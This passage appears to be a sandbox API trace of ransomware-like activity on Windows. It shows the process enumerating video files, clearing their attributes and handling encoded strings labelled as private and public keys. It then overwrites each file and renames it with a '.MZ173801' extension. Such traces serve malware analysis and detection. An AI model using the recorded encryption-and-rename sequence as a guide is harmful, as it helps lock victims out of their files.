lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\jtvwtsrgzqhn.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf570d500, ftCreationTime.dwHighDateTime=0x1d5e85e, ftLastAccessTime.dwLowDateTime=0xb122faf0, ftLastAccessTime.dwHighDateTime=0x1d5e9c0, ftLastWriteTime.dwLowDateTime=0xb122faf0, ftLastWriteTime.dwHighDateTime=0x1d5e9c0, nFileSizeHigh=0x0, nFileSizeLow=0x13486)) returned 1 [0166.361] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\jtvwtsrgzqhn.swf")) returned 0x20 [0166.361] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf", dwFileAttributes=0x80) returned 1 [0166.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.365] GetCurrentThreadId () returned 0xab4 [0166.365] GetCurrentThreadId () returned 0xab4 [0166.365] GetCurrentThreadId () returned 0xab4 [0166.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.366] GetCurrentThreadId () returned 0xab4 [0166.366] GetCurrentThreadId () returned 0xab4 [0166.366] GetCurrentThreadId () returned 0xab4 [0166.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\jtvwtsrgzqhn.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.366] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0166.366] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.366] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x13486 [0166.366] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.366] ReadFile (in: hFile=0x2f4, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x13486, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f1b4*=0x13486, lpOverlapped=0x0) returned 1 [0166.368] CloseHandle (hObject=0x2f4) returned 1 [0166.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\jtvwtsrgzqhn.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.371] WriteFile (in: hFile=0x2f4, lpBuffer=0x24cced0*, nNumberOfBytesToWrite=0x13486, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24cced0*, lpNumberOfBytesWritten=0x19f1c0*=0x13486, lpOverlapped=0x0) returned 1 [0166.374] CloseHandle (hObject=0x2f4) returned 1 [0166.378] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\jtvwtsrgzqhn.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\jtVwtSRgZQhn.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\jtvwtsrgzqhn.swf.mz173801")) returned 1 [0166.379] GetCurrentThreadId () returned 0xab4 [0166.380] GetCurrentThreadId () returned 0xab4 [0166.380] GetCurrentThreadId () returned 0xab4 [0166.380] GetCurrentThreadId () returned 0xab4 [0166.380] GetCurrentThreadId () returned 0xab4 [0166.380] GetCurrentThreadId () returned 0xab4 [0166.380] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3293fac0, ftCreationTime.dwHighDateTime=0x1d5e701, ftLastAccessTime.dwLowDateTime=0xdb7e0330, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0xdb7e0330, ftLastWriteTime.dwHighDateTime=0x1d5e0ec, nFileSizeHigh=0x0, nFileSizeLow=0x18746, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="Z9A0N 7.mkv", cAlternateFileName="Z9A0N7~1.MKV")) returned 1 [0166.380] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0166.380] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\z9a0n 7.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3293fac0, ftCreationTime.dwHighDateTime=0x1d5e701, ftLastAccessTime.dwLowDateTime=0xdb7e0330, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0xdb7e0330, ftLastWriteTime.dwHighDateTime=0x1d5e0ec, nFileSizeHigh=0x0, nFileSizeLow=0x18746)) returned 1 [0166.380] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\z9a0n 7.mkv")) returned 0x20 [0166.380] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv", dwFileAttributes=0x80) returned 1 [0166.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnl